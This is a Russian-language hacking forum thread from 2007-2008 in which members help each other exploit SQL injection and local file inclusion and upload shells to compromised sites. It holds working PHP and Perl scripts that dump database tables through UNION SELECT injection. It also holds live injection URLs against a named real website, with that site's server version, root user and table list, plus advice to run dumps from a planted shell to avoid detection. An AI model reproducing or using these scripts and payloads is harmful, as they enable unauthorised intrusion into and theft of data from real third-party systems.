Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. Girsoft

    Girsoft New Member

    Joined:
    22 Jan 2007
    Messages:
    21
    Likes Received:
    1
    Reputations:
    0
    помогите ребята с скуль иньекцией.
    Если ввожу адрес:
    то вылазит ошибка:
    а если пишу всякую хрень БЕЗ ковычки, то ошибки нету... Можно ли этоим воспользоваться?

    и ещё вопрос: если есть локальный инклуд, но фильтруются .. (две подряд идущие точки), то можно ли воспользоваться этим инклудом, если необходимо подняться на несколько уровней вверх?
     
  2. fervex

    fervex New Member

    Joined:
    12 Nov 2007
    Messages:
    25
    Likes Received:
    1
    Reputations:
    0
    Здравствуйте! :)

    Подскажите, как залить шелл на сервер, если есть логин и пароль администратора DataLife Engine (апдейт конца 2007 года)?

    Спасибо! :)
     
  3. Sharingan

    Sharingan Elder - Старейшина

    Joined:
    5 May 2007
    Messages:
    143
    Likes Received:
    147
    Reputations:
    16
    Может кто подскажет, видно что есть sql инжект. все подходит , но начинаю подбирать поля, и бесплоезно сколько бы не ставил там 1,2...30/* и все равно The used SELECT statements have a different number of columns, и что делать мож кто подскажет?
     
  4. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    банальный дампер на пхп или перл, учти что в логах будет много какашек
    скрипт:
    PHP:
    <?php 
    set_time_limit
    (0); 
    ignore_user_abort(true);  
    $s=1
    $f=39913
    $fph fopen ("result.txt"'a+'); 

      for (
    $i=$s$i<=$f$i++) { 
        
    $aps file_get_contents("[твой сайт и путь до уязвимого скрипта]=-1+union+select+concat(0x3a3a3a,table_name,0x3a3a3a)+from+information_schema.tables+limit+".$i.",1/*"); 
        
    $res=null
         
       
    $pattern ="/:::(.+):::/"
        
    preg_match_all($pattern$aps$out); 
        
    $res=array_values(array_unique($out[0])); 
        
    fputs ($fph$res[0]."\r\n"); 
         
        
    sleep (5); 

    fclose ($fph);   
    ?>
    Писать не хрень, а запрос мб?
     
    #804 Constantine, 27 Jan 2008
    Last edited: 27 Jan 2008
  5. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    Попробуй перебирать с помощью ORDER BY. Почитай об этом тут http://forum.antichat.ru/thread43966.html.

    А еще там может быть два запроса с разным количеством полей. В этом варианте посимвольный брут.
     
    1 person likes this.
  6. Sharingan

    Sharingan Elder - Старейшина

    Joined:
    5 May 2007
    Messages:
    143
    Likes Received:
    147
    Reputations:
    16
    ордер бай не пашет, вроде
    http://atv.worcsracing.com/tracks.php?ID=-1+union+select+1/*
    посмотрите кто нить как там
     
  7. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    Пашет, попробуй так

    http://atv.worcsracing.com/tracks.php?ID=-1+order+by+26/*

    и так

    http://atv.worcsracing.com/tracks.php?ID=-1+order+by+25/*


    http://atv.worcsracing.com/tracks.php?ID=-1+union+select+1,concat_ws(0x2F,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,1,1,1,1,1,1/*

    4.0.21-nt/worcsatv/root@localhost
     
    #807 ElteRUS, 27 Jan 2008
    Last edited: 27 Jan 2008
    1 person likes this.
  8. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Полчаса назад писал для себя:
    PHP:
    #!/usr/bin/perl

    use LWP::UserAgent;

    $ua LWP::UserAgent->new;

    $x=0;
    $y $ARGV[0];
    open(TT,">","mda.txt") or die "$!";
    while (
    $x<=$y)
    {
    $omfg $ua->get("СКУЕЛЬ")->content;
    $omfg =~m%:::(.*?):::%i)
        
    $table = $1;
        print 
    TT $table"\n";
        
    $x++;
    }
    close TT;
    В get("СКУЕЛЬ") должна быть скуль вида:
    http://site.com/index.php?id=1+union+select+concat(0x3a3a3a,table_name,0x3a3a3a)+from+information_schema.tables+limit+$x,1/*

    Участки выделенные красным обязательны в запросе. Запускаешь скрипт, вводишь кол-во таблиц/полей/ещё чего то, которое нужно сдампить. Всё сохраняет в текстовик mda.txt

    ЗЫ Писалось на скорую руку для себя, так что любители дое*аться к коду идут лесом:)
     
    #808 .Slip, 27 Jan 2008
    Last edited: 27 Jan 2008
    2 people like this.
  9. Derec

    Derec Elder - Старейшина

    Joined:
    8 Nov 2007
    Messages:
    74
    Likes Received:
    4
    Reputations:
    0
    .Slip , Constantine, спасибо за отклик! Только вот не бейте ногами, объясните как ентот скрипт в винде то запустить:(
     
  10. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    устанавливаешь perl-интерпретатор. Потом
    пуск->
    выполнить->
    cmd->
    <путь к интерпретатору>/perl.exe <путь к скрипту>/script.pl
     
    1 person likes this.
  11. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Или так как написал Afost, или одно из двух:)

    Если большая база (мне пришлось 1к. дампить), то что бы не спалиться дико, запускай с шелла. Заливай файл с расширением .pl на сервер, и запускаешь такой командой:
    perl blablabla.pl 400
    где 400 - нужное кол-во записей для сохранения. Скорей всего тебя скинет с шелла, т.к. скорость работы скрипта невысокая (будет тайм-аут), то ждёшь энное время и заходишь заново в папку , там уже должен лежать файл mda.txt . Если его размер 0 байт, то ждёшь ещё= ) Если всё таки хочешь запускать со своего компа, то ставишь актив перл и в cmd пишешь blablabla.pl 400
     
    #811 .Slip, 27 Jan 2008
    Last edited: 27 Jan 2008
    3 people like this.
  12. Derec

    Derec Elder - Старейшина

    Joined:
    8 Nov 2007
    Messages:
    74
    Likes Received:
    4
    Reputations:
    0
    Aга, спасибо. Но вы уж простите, не могу отблагодарить плюсиком:( А вот этот шелл он должен быть получается на локальном хосте?
     
    1 person likes this.
  13. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Нет, как раз с локалхоста ты можешь запустить через консоль(цмд). Шелл должен быть на любом стороннем серванте.
     
  14. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    Так же не забываем про тулзу от SQLHack'a =)
    на днях пришлось дампить 37к, так что как вариант)
     
  15. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    Как делал я.
    1)Писал подобный скрипт но на пхп.
    2)заливал на хост и ставил диапазон 1..1000(например)
    3)запускал
    4)скрипт через некоторое время переставал работать, я смотрел на конечную запись и дописывал в скрипт нужный диапазон (например 439..1000)
     
  16. Derec

    Derec Elder - Старейшина

    Joined:
    8 Nov 2007
    Messages:
    74
    Likes Received:
    4
    Reputations:
    0
    АГА, а ваше мнение какой вариант лучше?
    З.Ы. А Я могу оценить если репут. не меньше 10?
     
  17. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Я же написал, что если база небольшая, то можешь и с локалхоста запускать. Если база большая, то запускай с шелла (если он у тебя есть)
     
  18. Derec

    Derec Elder - Старейшина

    Joined:
    8 Nov 2007
    Messages:
    74
    Likes Received:
    4
    Reputations:
    0
    Теперь понял, спасибо за оказанную помощь!!!
     
  19. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Access Denied
     
  20. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Таблицы:
    Code:
    CHARACTER_SETS
    COLLATIONS
    COLLATION_CHARACTER_SET_APPLICABILITY
    COLUMNS
    COLUMN_PRIVILEGES
    KEY_COLUMN_USAGE
    ROUTINES
    SCHEMATA
    SCHEMA_PRIVILEGES
    STATISTICS
    TABLES
    TABLE_CONSTRAINTS
    TABLE_PRIVILEGES
    TRIGGERS
    USER_PRIVILEGES
    VIEWS
    OLD_gathering
    OLD_logos
    bademails
    chronjobs
    chronjobs_old
    david
    email_settings
    forum
    gathering
    jobs
    jobs_categories
    jobs_education
    jobs_education_bu
    jobs_focus
    jobs_languages
    jobs_my
    jobs_my_search
    jobs_states
    keywords
    logos
    may2206
    my_users
    my_users32106
    my_users_BACKUP_6_25_07
    my_users_basic
    my_users_bu
    my_users_bu_jul_9_2007
    noa_phone
    phonebank_settings
    privs
    queries
    tbl
    temp103021435
    to_import
    transactions
    update06_25_2007
    user_groups
    web_navigation
    web_pages
    web_pages_BACKUP
    Дальше сам.
     
    1 person likes this.
Thread Status:
Not open for further replies.